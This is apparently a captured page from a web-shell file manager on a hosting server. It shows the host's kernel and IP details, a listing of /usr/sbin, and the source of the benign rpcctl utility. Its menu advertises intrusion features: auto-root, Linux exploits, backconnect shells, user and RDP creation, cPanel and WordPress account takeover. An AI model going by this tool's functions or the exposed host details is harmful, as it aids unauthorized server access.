Linux clientvps21.redlake.in 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
LiteSpeed
: 95.216.48.241 | : 216.73.216.125
14 Domain
8.1.34
mydemowebs
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
sbin /
[ HOME SHELL ]
Name
Size
Permission
Action
NetworkManager
3.69
MB
-rwxr-xr-x
accessdb
15.42
KB
-rwxr-xr-x
addgnupghome
3.01
KB
-rwxr-xr-x
addpart
15.16
KB
-rwxr-xr-x
adduser
137.83
KB
-rwxr-xr-x
agetty
56.71
KB
-rwxr-xr-x
alternatives
39.59
KB
-rwxr-xr-x
anacron
39.52
KB
-rwxr-xr-x
apachectl
4.7
KB
-rwxr-xr-x
applygnupgdefaults
2.17
KB
-rwxr-xr-x
arp
63.21
KB
-rwxr-xr-x
arping
27.25
KB
-rwxr-xr-x
arptables
231.41
KB
-rwxr-xr-x
arptables-nft
231.41
KB
-rwxr-xr-x
arptables-nft-restore
231.41
KB
-rwxr-xr-x
arptables-nft-save
231.41
KB
-rwxr-xr-x
arptables-restore
231.41
KB
-rwxr-xr-x
arptables-save
231.41
KB
-rwxr-xr-x
atd
31.26
KB
-rwxr-xr-x
atrun
70
B
-rwxr-xr-x
auditctl
51.59
KB
-rwxr-xr-x
auditd
137.05
KB
-rwxr-xr-x
augenrules
4.05
KB
-rwxr-xr-x
aureport
120.3
KB
-rwxr-xr-x
ausearch
120.27
KB
-rwxr-xr-x
autrace
19.17
KB
-rwxr-x---
avcstat
15.35
KB
-rwxr-xr-x
badblocks
35.35
KB
-rwxr-xr-x
blkdeactivate
15.97
KB
-r-xr-xr-x
blkdiscard
23.2
KB
-rwxr-xr-x
blkid
51.61
KB
-rwxr-xr-x
blkmapd
39.42
KB
-rwxr-xr-x
blkzone
35.46
KB
-rwxr-xr-x
blockdev
31.42
KB
-rwxr-xr-x
bridge
130.93
KB
-rwxr-xr-x
capsh
31.21
KB
-rwxr-xr-x
cfdisk
96.34
KB
-rwxr-xr-x
chcpu
31.42
KB
-rwxr-xr-x
chgpasswd
59.77
KB
-rwxr-xr-x
chkconfig
43.78
KB
-rwxr-xr-x
chpasswd
55.63
KB
-rwxr-xr-x
chronyd
369.44
KB
-rwxr-xr-x
chroot
39.73
KB
-rwxr-xr-x
clock
59.77
KB
-rwxr-xr-x
consoletype
15.28
KB
-rwxr-xr-x
convertquota
69.01
KB
-rwxr-xr-x
cracklib-check
15.7
KB
-rwxr-xr-x
cracklib-format
255
B
-rwxr-xr-x
cracklib-packer
15.7
KB
-rwxr-xr-x
cracklib-unpacker
15.69
KB
-rwxr-xr-x
create-cracklib-dict
994
B
-rwxr-xr-x
crond
76.16
KB
-rwxr-xr-x
ctrlaltdel
15.19
KB
-rwxr-xr-x
ctstat
23.59
KB
-rwxr-xr-x
dcb
94.69
KB
-rwxr-xr-x
ddns-confgen
27.26
KB
-rwxr-xr-x
debugfs
233.03
KB
-rwxr-xr-x
delpart
15.13
KB
-rwxr-xr-x
depmod
165.57
KB
-rwxr-xr-x
devlink
161.81
KB
-rwxr-xr-x
dmfilemapd
23.3
KB
-r-xr-xr-x
dmsetup
156.77
KB
-r-xr-xr-x
dmstats
156.77
KB
-r-xr-xr-x
dnssec-cds
47.67
KB
-rwxr-xr-x
dnssec-checkds
924
B
-rwxr-xr-x
dnssec-coverage
926
B
-rwxr-xr-x
dnssec-dsfromkey
39.44
KB
-rwxr-xr-x
dnssec-importkey
35.44
KB
-rwxr-xr-x
dnssec-keyfromlabel
39.42
KB
-rwxr-xr-x
dnssec-keygen
47.45
KB
-rwxr-xr-x
dnssec-keymgr
922
B
-rwxr-xr-x
dnssec-revoke
31.41
KB
-rwxr-xr-x
dnssec-settime
47.44
KB
-rwxr-xr-x
dnssec-signzone
95.88
KB
-rwxr-xr-x
dnssec-verify
31.45
KB
-rwxr-xr-x
dovecot
143.55
KB
-rwxr-xr-x
dovecot_cpshutdown
3.27
KB
-rwxr-xr-x
dumpe2fs
31.29
KB
-rwxr-xr-x
e2freefrag
15.19
KB
-rwxr-xr-x
e2fsck
356.09
KB
-rwxr-xr-x
e2image
43.41
KB
-rwxr-xr-x
e2label
104.46
KB
-rwxr-xr-x
e2mmpstatus
31.29
KB
-rwxr-xr-x
e2undo
23.16
KB
-rwxr-xr-x
e4crypt
31.3
KB
-rwxr-xr-x
e4defrag
31.26
KB
-rwxr-xr-x
ebtables
231.41
KB
-rwxr-xr-x
ebtables-nft
231.41
KB
-rwxr-xr-x
ebtables-nft-restore
231.41
KB
-rwxr-xr-x
ebtables-nft-save
231.41
KB
-rwxr-xr-x
ebtables-restore
231.41
KB
-rwxr-xr-x
ebtables-save
231.41
KB
-rwxr-xr-x
ebtables-translate
231.41
KB
-rwxr-xr-x
edquota
89.5
KB
-rwxr-xr-x
ether-wake
50.24
KB
-rwxr-xr-x
ethtool
988.96
KB
-rwxr-xr-x
exicyclog
11.1
KB
-rwxr-xr-x
exigrep
11.44
KB
-rwxr-xr-x
exim
1.55
MB
-rwsr-xr-x
exim_checkaccess
4.83
KB
-rwxr-xr-x
exim_dbmbuild
22.45
KB
-rwxr-xr-x
exim_dumpdb
23.68
KB
-rwxr-xr-x
exim_fixdb
32.24
KB
-rwxr-xr-x
exim_lock
22.79
KB
-rwxr-xr-x
exim_tidydb
23.7
KB
-rwxr-xr-x
eximstats
149.14
KB
-rwxr-xr-x
exinext
8.03
KB
-rwxr-xr-x
exiqgrep
6.58
KB
-rwxr-xr-x
exiqsumm
6.29
KB
-rwxr-xr-x
exiwhat
4.42
KB
-rwxr-xr-x
exportfs
68.46
KB
-rwxr-xr-x
faillock
23.18
KB
-rwxr-xr-x
fcgistarter
24.71
KB
-rwxr-xr-x
fdformat
23.2
KB
-rwxr-xr-x
fdisk
112.07
KB
-rwxr-xr-x
filefrag
19.22
KB
-rwxr-xr-x
findfs
15.16
KB
-rwxr-xr-x
fix-info-dir
7.85
KB
-rwxr-xr-x
fixfiles
12.1
KB
-rwxr-xr-x
fsck
43.55
KB
-rwxr-xr-x
fsck.cramfs
31.38
KB
-rwxr-xr-x
fsck.ext2
356.09
KB
-rwxr-xr-x
fsck.ext3
356.09
KB
-rwxr-xr-x
fsck.ext4
356.09
KB
-rwxr-xr-x
fsck.minix
55.71
KB
-rwxr-xr-x
fsck.xfs
2.54
KB
-rwxr-xr-x
fsfreeze
15.16
KB
-rwxr-xr-x
fstrim
43.51
KB
-rwxr-xr-x
fuser
41.09
KB
-rwxr-xr-x
g13-syshelp
88.6
KB
-rwxr-xr-x
genhomedircon
32.04
KB
-rwxr-xr-x
genhostid
15.28
KB
-rwxr-xr-x
genl
130.1
KB
-rwxr-xr-x
getcap
15.13
KB
-rwxr-xr-x
getenforce
15.27
KB
-rwxr-xr-x
getpcaps
15.12
KB
-rwxr-xr-x
getpidprevcon
15.29
KB
-rwxr-xr-x
getpolicyload
15.28
KB
-rwxr-xr-x
getsebool
15.3
KB
-rwxr-xr-x
groupadd
68.77
KB
-rwxr-xr-x
groupdel
64.53
KB
-rwxr-xr-x
groupmems
55.77
KB
-rwxr-xr-x
groupmod
72.76
KB
-rwxr-xr-x
grpck
59.76
KB
-rwxr-xr-x
grpconv
51.56
KB
-rwxr-xr-x
grpunconv
51.53
KB
-rwxr-xr-x
grub2-bios-setup
1.34
MB
-rwxr-xr-x
grub2-get-kernel-settings
2.68
KB
-rwxr-xr-x
grub2-install
1.65
MB
-rwxr-xr-x
grub2-macbless
1.33
MB
-rwxr-xr-x
grub2-mkconfig
9.21
KB
-rwxr-xr-x
grub2-probe
1.35
MB
-rwxr-xr-x
grub2-reboot
4.7
KB
-rwxr-xr-x
grub2-set-bootflag
15.09
KB
-rwsr-xr-x
grub2-set-default
3.46
KB
-rwxr-xr-x
grub2-set-password
2.74
KB
-rwxr-xr-x
grub2-setpassword
2.74
KB
-rwxr-xr-x
grub2-switch-to-blscfg
8.81
KB
-rwxr-xr-x
grubby
260
B
-rwxr-xr-x
gssproxy
124.89
KB
-rwxr-xr-x
halt
298.42
KB
-rwxr-xr-x
htcacheclean
52.8
KB
-rwxr-xr-x
httpd
1.82
KB
-rwxr-xr-x
httpd_ls_bak
1.09
MB
-rwxr-xr-x
httpd_ls_bak_bak
1.09
MB
-rwxr-xr-x
httpd_ls_bak_bak_restore_done
1.08
MB
-rwxr-xr-x
hwclock
59.77
KB
-rwxr-xr-x
iconvconfig
31.68
KB
-rwxr-xr-x
ifconfig
78.98
KB
-rwxr-xr-x
ifenslave
23.73
KB
-rwxr-xr-x
ifstat
39.6
KB
-rwxr-xr-x
init
95.74
KB
-rwxr-xr-x
insmod
165.57
KB
-rwxr-xr-x
install-info
106.7
KB
-rwxr-xr-x
installkernel
323
B
-rwxr-xr-x
intel_sdsi
22.43
KB
-rwxr-xr-x
ip
770.19
KB
-rwxr-xr-x
ip6tables
231.41
KB
-rwxr-xr-x
ip6tables-nft
231.41
KB
-rwxr-xr-x
ip6tables-nft-restore
231.41
KB
-rwxr-xr-x
ip6tables-nft-save
231.41
KB
-rwxr-xr-x
ip6tables-restore
231.41
KB
-rwxr-xr-x
ip6tables-restore-translate
231.41
KB
-rwxr-xr-x
ip6tables-save
231.41
KB
-rwxr-xr-x
ip6tables-translate
231.41
KB
-rwxr-xr-x
ipmaddr
19.45
KB
-rwxr-xr-x
ipset
15.27
KB
-rwxr-xr-x
ipset-translate
15.27
KB
-rwxr-xr-x
iptables
231.41
KB
-rwxr-xr-x
iptables-nft
231.41
KB
-rwxr-xr-x
iptables-nft-restore
231.41
KB
-rwxr-xr-x
iptables-nft-save
231.41
KB
-rwxr-xr-x
iptables-restore
231.41
KB
-rwxr-xr-x
iptables-restore-translate
231.41
KB
-rwxr-xr-x
iptables-save
231.41
KB
-rwxr-xr-x
iptables-translate
231.41
KB
-rwxr-xr-x
iptunnel
19.5
KB
-rwxr-xr-x
irqbalance
64.45
KB
-rwxr-xr-x
irqbalance-ui
39.59
KB
-rwxr-xr-x
kexec
192.6
KB
-rwxr-xr-x
key.dns_resolver
31.35
KB
-rwxr-xr-x
kpartx
47.52
KB
-rwxr-xr-x
lchage
23.16
KB
-rwxr-xr-x
ldattach
27.23
KB
-rwxr-xr-x
ldconfig
1.12
MB
-rwxr-xr-x
lgroupadd
15.12
KB
-rwxr-xr-x
lgroupdel
15.11
KB
-rwxr-xr-x
lgroupmod
23.13
KB
-rwxr-xr-x
lid
19.13
KB
-rwxr-xr-x
lnewusers
23.13
KB
-rwxr-xr-x
lnstat
23.59
KB
-rwxr-xr-x
load_policy
15.12
KB
-rwxr-xr-x
logrotate
95.66
KB
-rwxr-xr-x
logsave
15.19
KB
-rwxr-xr-x
losetup
72.09
KB
-rwxr-xr-x
lpasswd
23.13
KB
-rwxr-xr-x
lshw
853.59
KB
-rwxr-xr-x
lsmod
165.57
KB
-rwxr-xr-x
luseradd
23.13
KB
-rwxr-xr-x
luserdel
15.12
KB
-rwxr-xr-x
lusermod
23.13
KB
-rwxr-xr-x
makedumpfile
427.85
KB
-rwxr-xr-x
mariadbd
26.58
MB
-rwxr-xr-x
matchpathcon
15.31
KB
-rwxr-xr-x
mii-diag
24.2
KB
-rwxr-xr-x
mii-tool
27.78
KB
-rwxr-xr-x
mkdict
255
B
-rwxr-xr-x
mkdumprd
12.47
KB
-rwxr-xr-x
mke2fs
132.53
KB
-rwxr-xr-x
mkfs
15.17
KB
-rwxr-xr-x
mkfs.cramfs
35.38
KB
-rwxr-xr-x
mkfs.ext2
132.53
KB
-rwxr-xr-x
mkfs.ext3
132.53
KB
-rwxr-xr-x
mkfs.ext4
132.53
KB
-rwxr-xr-x
mkfs.minix
43.55
KB
-rwxr-xr-x
mkfs.xfs
450.77
KB
-rwxr-xr-x
mkhomedir_helper
23.21
KB
-rwxr-xr-x
mklost+found
15.12
KB
-rwxr-xr-x
mksquashfs
197.62
KB
-rwxr-xr-x
mkswap
47.5
KB
-rwxr-xr-x
modinfo
165.57
KB
-rwxr-xr-x
modprobe
165.57
KB
-rwxr-xr-x
modsec-sdbm-util
33.56
KB
-rwxr-x---
mount.fuse
15.34
KB
-rwxr-xr-x
mount.nfs
100.52
KB
-rwsr-xr-x
mount.nfs4
100.52
KB
-rwsr-xr-x
mountstats
42.5
KB
-rwxr-xr-x
mysqld
26.58
MB
-rwxr-xr-x
named
545
KB
-rwxr-xr-x
named-checkconf
39.4
KB
-rwxr-xr-x
named-checkzone
39.34
KB
-rwxr-xr-x
named-compilezone
39.34
KB
-rwxr-xr-x
named-journalprint
15.13
KB
-rwxr-xr-x
named-nzd2nzf
15.12
KB
-rwxr-xr-x
nameif
15.58
KB
-rwxr-xr-x
newusers
88.71
KB
-rwxr-xr-x
nfsconf
39.87
KB
-rwxr-xr-x
nfsdcld
55.88
KB
-rwxr-xr-x
nfsdclddb
9.99
KB
-rwxr-xr-x
nfsdclnts
9.05
KB
-rwxr-xr-x
nfsdcltrack
39.92
KB
-rwxr-xr-x
nfsidmap
23.3
KB
-rwxr-xr-x
nfsiostat
23.35
KB
-rwxr-xr-x
nfsref
43.52
KB
-rwxr-xr-x
nfsstat
38.27
KB
-rwxr-xr-x
nft
27.17
KB
-rwxr-xr-x
nologin
15.16
KB
-rwxr-xr-x
nscd
162.95
KB
-rwxr-xr-x
nsec3hash
15.2
KB
-rwxr-xr-x
nstat
31.34
KB
-rwxr-xr-x
packer
15.7
KB
-rwxr-xr-x
pam_console_apply
43.51
KB
-rwxr-xr-x
pam_namespace_helper
471
B
-rwxr-xr-x
pam_timestamp_check
15.13
KB
-rwxr-xr-x
paperconfig
4.08
KB
-rwxr-xr-x
parted
96.39
KB
-rwxr-xr-x
partprobe
15.34
KB
-rwxr-xr-x
partx
59.77
KB
-rwxr-xr-x
pdns_server
5.86
MB
-rwxr-xr-x
pidof
23.33
KB
-rwxr-xr-x
ping
89.33
KB
-rwxr-xr-x
ping6
89.33
KB
-rwxr-xr-x
pivot_root
15.16
KB
-rwxr-xr-x
plipconfig
15.35
KB
-rwxr-xr-x
poweroff
298.42
KB
-rwxr-xr-x
pwck
55.6
KB
-rwxr-xr-x
pwconv
47.45
KB
-rwxr-xr-x
pwhistory_helper
19.2
KB
-rwxr-xr-x
pwunconv
47.41
KB
-rwxr-xr-x
quotacheck
93.62
KB
-rwxr-xr-x
quotaoff
56.67
KB
-rwxr-xr-x
quotaon
56.67
KB
-rwxr-xr-x
quotastats
15.34
KB
-rwxr-xr-x
rdisc
31.36
KB
-rwxr-xr-x
rdma
113.02
KB
-rwxr-xr-x
readprofile
23.27
KB
-rwxr-xr-x
reboot
298.42
KB
-rwxr-xr-x
repquota
77.55
KB
-rwxr-xr-x
request-key
27.29
KB
-rwxr-xr-x
resize2fs
67.64
KB
-rwxr-xr-x
resizepart
23.4
KB
-rwxr-xr-x
restorecon
23.19
KB
-rwxr-xr-x
restorecon_xattr
15.13
KB
-rwxr-xr-x
rfkill
31.34
KB
-rwxr-xr-x
rmmod
165.57
KB
-rwxr-xr-x
rndc
43.25
KB
-rwxr-xr-x
rndc-confgen
23.26
KB
-rwxr-xr-x
rotatelogs
38.13
KB
-rwxr-xr-x
route
65.77
KB
-rwxr-xr-x
rpc.gssd
88.11
KB
-rwxr-xr-x
rpc.idmapd
47.73
KB
-rwxr-xr-x
rpc.mountd
132.56
KB
-rwxr-xr-x
rpc.nfsd
40
KB
-rwxr-xr-x
rpc.statd
80.79
KB
-rwxr-xr-x
rpcbind
59.89
KB
-rwxr-xr-x
rpcctl
9.42
KB
-rwxr-xr-x
rpcdebug
18.66
KB
-rwxr-xr-x
rpcinfo
35.58
KB
-rwxr-xr-x
rsyslogd
794.28
KB
-rwxr-xr-x
rtacct
29.34
KB
-rwxr-xr-x
rtcwake
35.26
KB
-rwxr-xr-x
rtkitctl
15.24
KB
-rwxr-xr-x
rtmon
126.02
KB
-rwxr-xr-x
rtstat
23.59
KB
-rwxr-xr-x
runlevel
298.42
KB
-rwxr-xr-x
runq
1.55
MB
-rwsr-xr-x
runuser
55.62
KB
-rwxr-xr-x
sasldblistusers2
15.27
KB
-rwxr-xr-x
saslpasswd2
15.24
KB
-rwxr-xr-x
sefcontext_compile
72.38
KB
-rwxr-xr-x
selabel_digest
15.31
KB
-rwxr-xr-x
selabel_get_digests_all_partia...
15.33
KB
-rwxr-xr-x
selabel_lookup
15.3
KB
-rwxr-xr-x
selabel_lookup_best_match
15.31
KB
-rwxr-xr-x
selabel_partial_match
15.3
KB
-rwxr-xr-x
selinux_check_access
15.31
KB
-rwxr-xr-x
selinuxconlist
15.3
KB
-rwxr-xr-x
selinuxdefcon
15.3
KB
-rwxr-xr-x
selinuxenabled
15.27
KB
-rwxr-xr-x
selinuxexeccon
15.29
KB
-rwxr-xr-x
semanage
40.64
KB
-rwxr-xr-x
semodule
32.04
KB
-rwxr-xr-x
sendmail
18.08
KB
-rwxr-sr-x
service
4.51
KB
-rwxr-xr-x
sestatus
23.13
KB
-rwxr-xr-x
setcap
15.13
KB
-rwxr-xr-x
setenforce
15.3
KB
-rwxr-xr-x
setfiles
23.19
KB
-rwxr-xr-x
setquota
81.58
KB
-rwxr-xr-x
setsebool
19.15
KB
-rwxr-xr-x
sfdisk
103.98
KB
-rwxr-xr-x
showmount
15.48
KB
-rwxr-xr-x
shutdown
298.42
KB
-rwxr-xr-x
slattach
37.57
KB
-rwxr-xr-x
sm-notify
51.77
KB
-rwxr-xr-x
smartctl
853.95
KB
-rwxr-xr-x
smartd
615.6
KB
-rwxr-xr-x
ss
131.3
KB
-rwxr-xr-x
sshd
946.12
KB
-rwxr-xr-x
sss_cache
35.25
KB
-rwxr-xr-x
sssd
71.61
KB
-rwxr-xr-x
start-statd
1
KB
-rwxr-xr-x
start-stop-daemon
48.65
KB
-rwxr-xr-x
suexec
37.6
KB
-rwsr-xr-x
sulogin
43.41
KB
-rwxr-xr-x
swaplabel
19.18
KB
-rwxr-xr-x
swapoff
23.27
KB
-rwxr-xr-x
swapon
43.31
KB
-rwxr-xr-x
switch_root
23.21
KB
-rwxr-xr-x
sysctl
31.49
KB
-rwxr-xr-x
tc
627.91
KB
-rwxr-xr-x
telinit
298.42
KB
-rwxr-xr-x
tipc
92.8
KB
-rwxr-xr-x
tmpwatch
36.03
KB
-rwxr-xr-x
tracepath
19.22
KB
-rwxr-xr-x
tracepath6
19.22
KB
-rwxr-xr-x
tsig-keygen
27.26
KB
-rwxr-xr-x
tune2fs
104.46
KB
-rwxr-xr-x
udevadm
583.8
KB
-rwxr-xr-x
umount.nfs
100.52
KB
-rwsr-xr-x
umount.nfs4
100.52
KB
-rwsr-xr-x
unix_chkpwd
23.28
KB
-rwxr-xr-x
unix_update
31.32
KB
-rwx------
unsquashfs
113.8
KB
-rwxr-xr-x
update-alternatives
39.59
KB
-rwxr-xr-x
update-smart-drivedb
23.33
KB
-rwxr-xr-x
useradd
137.83
KB
-rwxr-xr-x
userdel
88.84
KB
-rwxr-xr-x
usermod
129.66
KB
-rwxr-xr-x
validatetrans
15.29
KB
-rwxr-xr-x
vdpa
35.88
KB
-rwxr-xr-x
vigr
58.15
KB
-rwxr-xr-x
vipw
58.15
KB
-rwxr-xr-x
visudo
220.84
KB
-rwxr-xr-x
vmcore-dmesg
27.3
KB
-rwxr-xr-x
weak-modules
33.58
KB
-rwxr-xr-x
whmapi0
3.36
MB
-rwxr-xr-x
whmapi1
3.36
MB
-rwxr-xr-x
whmlogin
2.33
KB
-rwxr-xr-x
wipefs
39.28
KB
-rwxr-xr-x
xfs_admin
2.13
KB
-rwxr-xr-x
xfs_bmap
699
B
-rwxr-xr-x
xfs_copy
92.62
KB
-rwxr-xr-x
xfs_db
708.08
KB
-rwxr-xr-x
xfs_estimate
15.16
KB
-rwxr-xr-x
xfs_freeze
804
B
-rwxr-xr-x
xfs_fsr
43.51
KB
-rwxr-xr-x
xfs_growfs
43.63
KB
-rwxr-xr-x
xfs_info
1.27
KB
-rwxr-xr-x
xfs_io
202.59
KB
-rwxr-xr-x
xfs_logprint
88.26
KB
-rwxr-xr-x
xfs_mdrestore
27.28
KB
-rwxr-xr-x
xfs_metadump
786
B
-rwxr-xr-x
xfs_mkfile
1.02
KB
-rwxr-xr-x
xfs_ncheck
689
B
-rwxr-xr-x
xfs_quota
92.1
KB
-rwxr-xr-x
xfs_repair
686.23
KB
-rwxr-xr-x
xfs_rtcp
19.14
KB
-rwxr-xr-x
xfs_spaceman
43.78
KB
-rwxr-xr-x
xqmstats
15.33
KB
-rwxr-xr-x
xtables-monitor
231.41
KB
-rwxr-xr-x
xtables-nft-multi
231.41
KB
-rwxr-xr-x
zic
59.63
KB
-rwxr-xr-x
zramctl
55.88
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : rpcctl
#!/usr/bin/python3 import argparse import collections import errno import os import pathlib import socket import sys with open("/proc/mounts", 'r') as f: mount = [ line.split()[1] for line in f if "sysfs" in line ] if len(mount) == 0: print("ERROR: sysfs is not mounted") sys.exit(1) sunrpc = pathlib.Path(mount[0]) / "kernel" / "sunrpc" if not sunrpc.is_dir(): print("ERROR: sysfs does not have sunrpc directory") sys.exit(1) def read_addr_file(path): try: with open(path, 'r') as f: return f.readline().strip() except: return "(enoent)" def write_addr_file(path, newaddr): with open(path, 'w') as f: f.write(newaddr) return read_addr_file(path) def read_info_file(path): res = collections.defaultdict(int) try: with open(path) as info: lines = [ l.split("=", 1) for l in info if "=" in l ] res.update({ key:int(val.strip()) for (key, val) in lines }) finally: return res class Xprt: def __init__(self, path): self.path = path self.name = path.stem.rsplit("-", 1)[0] self.type = path.stem.split("-")[2] self.info = read_info_file(path / "xprt_info") self.dstaddr = read_addr_file(path / "dstaddr") self.srcaddr = read_addr_file(path / "srcaddr") self.read_state() def __lt__(self, rhs): return self.name < rhs.name def _xprt(self): main = ", main" if self.info.get("main_xprt") else "" return f"{self.name}: {self.type}, {self.dstaddr}, " \ f"port {self.info['dst_port']}, state <{self.state}>{main}" def _src_reqs(self): return f" Source: {self.srcaddr}, port {self.info['src_port']}, " \ f"Requests: {self.info['num_reqs']}" def _cong_slots(self): return f" Congestion: cur {self.info['cur_cong']}, win {self.info['cong_win']}, " \ f"Slots: min {self.info['min_num_slots']}, max {self.info['max_num_slots']}" def _queues(self): return f" Queues: binding {self.info['binding_q_len']}, " \ f"sending {self.info['sending_q_len']}, pending {self.info['pending_q_len']}, " \ f"backlog {self.info['backlog_q_len']}, tasks {self.info['tasks_queuelen']}" def __str__(self): if not self.path.exists(): return f"{self.name}: has been removed" return "\n".join([self._xprt(), self._src_reqs(), self._cong_slots(), self._queues() ]) def read_state(self): if self.path.exists(): with open(self.path / "xprt_state") as f: self.state = ','.join(f.readline().split()[1:]) def small_str(self): main = " [main]" if self.info.get("main_xprt") else "" return f"{self.name}: {self.type}, {self.dstaddr}{main}" def set_dstaddr(self, newaddr): self.dstaddr = write_addr_file(self.path / "dstaddr", newaddr) def set_state(self, state): if self.info.get("main_xprt"): raise Exception(f"Main xprts cannot be set {state}") with open(self.path / "xprt_state", 'w') as f: f.write(state) self.read_state() def remove(self): if self.info.get("main_xprt"): raise Exception("Main xprts cannot be removed") self.set_state("offline") self.set_state("remove") def add_command(subparser): parser = subparser.add_parser("xprt", help="Commands for individual xprts") parser.set_defaults(func=Xprt.show, xprt=None) subparser = parser.add_subparsers() remove = subparser.add_parser("remove", help="Remove an xprt") remove.add_argument("xprt", metavar="XPRT", nargs=1, help="Name of the xprt to remove") remove.set_defaults(func=Xprt.set_property, property="remove") show = subparser.add_parser("show", help="Show xprts") show.add_argument("xprt", metavar="XPRT", nargs='?', help="Name of a specific xprt to show") show.set_defaults(func=Xprt.show) set = subparser.add_parser("set", help="Change an xprt property") set.add_argument("xprt", metavar="XPRT", nargs=1, help="Name of a specific xprt to modify") subparser = set.add_subparsers(required=True) online = subparser.add_parser("online", help="Set an xprt online") online.set_defaults(func=Xprt.set_property, property="online") offline = subparser.add_parser("offline", help="Set an xprt offline") offline.set_defaults(func=Xprt.set_property, property="offline") dstaddr = subparser.add_parser("dstaddr", help="Change an xprt's dstaddr") dstaddr.add_argument("newaddr", metavar="NEWADDR", nargs=1, help="The new address for the xprt") dstaddr.set_defaults(func=Xprt.set_property, property="dstaddr") def get_by_name(name): glob = f"**/{name}-*" if name else "**/xprt-*" res = [ Xprt(x) for x in (sunrpc / "xprt-switches").glob(glob) ] if name and len(res) == 0: raise FileNotFoundError(errno.ENOENT, os.strerror(errno.ENOENT), f"{sunrpc / 'xprt-switches' / glob}") return sorted(res) def show(args): for xprt in Xprt.get_by_name(args.xprt): print(xprt) def set_property(args): for xprt in Xprt.get_by_name(args.xprt[0]): if args.property == "dstaddr": xprt.set_dstaddr(socket.gethostbyname(args.newaddr[0])) elif args.property == "remove": xprt.remove() else: xprt.set_state(args.property) print(xprt) class XprtSwitch: def __init__(self, path, sep=":"): self.path = path self.name = path.stem self.info = read_info_file(path / "xprt_switch_info") self.xprts = sorted([ Xprt(p) for p in self.path.iterdir() if p.is_dir() ]) self.sep = sep def __lt__(self, rhs): return self.name < rhs.name def __str__(self): switch = f"{self.name}{self.sep} " \ f"xprts {self.info['num_xprts']}, " \ f"active {self.info['num_active']}, " \ f"queue {self.info['queue_len']}" xprts = [ f" {x.small_str()}" for x in self.xprts ] return "\n".join([ switch ] + xprts) def add_command(subparser): parser = subparser.add_parser("switch", help="Commands for xprt switches") parser.set_defaults(func=XprtSwitch.show, switch=None) subparser = parser.add_subparsers() show = subparser.add_parser("show", help="Show xprt switches") show.add_argument("switch", metavar="SWITCH", nargs='?', help="Name of a specific switch to show") show.set_defaults(func=XprtSwitch.show) set = subparser.add_parser("set", help="Change an xprt switch property") set.add_argument("switch", metavar="SWITCH", nargs=1, help="Name of a specific xprt switch to modify") subparser = set.add_subparsers(required=True) dstaddr = subparser.add_parser("dstaddr", help="Change an xprt switch's dstaddr") dstaddr.add_argument("newaddr", metavar="NEWADDR", nargs=1, help="The new address for the xprt switch") dstaddr.set_defaults(func=XprtSwitch.set_property, property="dstaddr") def get_by_name(name): xprt_switches = sunrpc / "xprt-switches" if name: return [ XprtSwitch(xprt_switches / name) ] return [ XprtSwitch(f) for f in sorted(xprt_switches.iterdir()) ] def show(args): for switch in XprtSwitch.get_by_name(args.switch): print(switch) def set_property(args): for switch in XprtSwitch.get_by_name(args.switch[0]): resolved = socket.gethostbyname(args.newaddr[0]) for xprt in switch.xprts: xprt.set_dstaddr(resolved) print(switch) class RpcClient: def __init__(self, path): self.path = path self.name = path.stem self.switch = XprtSwitch(path / (path / "switch").readlink(), sep=",") def __lt__(self, rhs): return self.name < rhs.name def __str__(self): return f"{self.name}: {self.switch}" def add_command(subparser): parser = subparser.add_parser("client", help="Commands for rpc clients") parser.set_defaults(func=RpcClient.show, client=None) subparser = parser.add_subparsers() show = subparser.add_parser("show", help="Show rpc clients") show.add_argument("client", metavar="CLIENT", nargs='?', help="Name of a specific rpc client to show") parser.set_defaults(func=RpcClient.show) def get_by_name(name): rpc_clients = sunrpc / "rpc-clients" if name: return [ RpcClient(rpc_clients / name) ] return [ RpcClient(f) for f in sorted(rpc_clients.iterdir()) ] def show(args): for client in RpcClient.get_by_name(args.client): print(client) parser = argparse.ArgumentParser() def show_small_help(args): parser.print_usage() print("sunrpc dir:", sunrpc) parser.set_defaults(func=show_small_help) subparser = parser.add_subparsers(title="commands") RpcClient.add_command(subparser) XprtSwitch.add_command(subparser) Xprt.add_command(subparser) args = parser.parse_args() try: args.func(args) except Exception as e: print(str(e)) sys.exit(1)
Close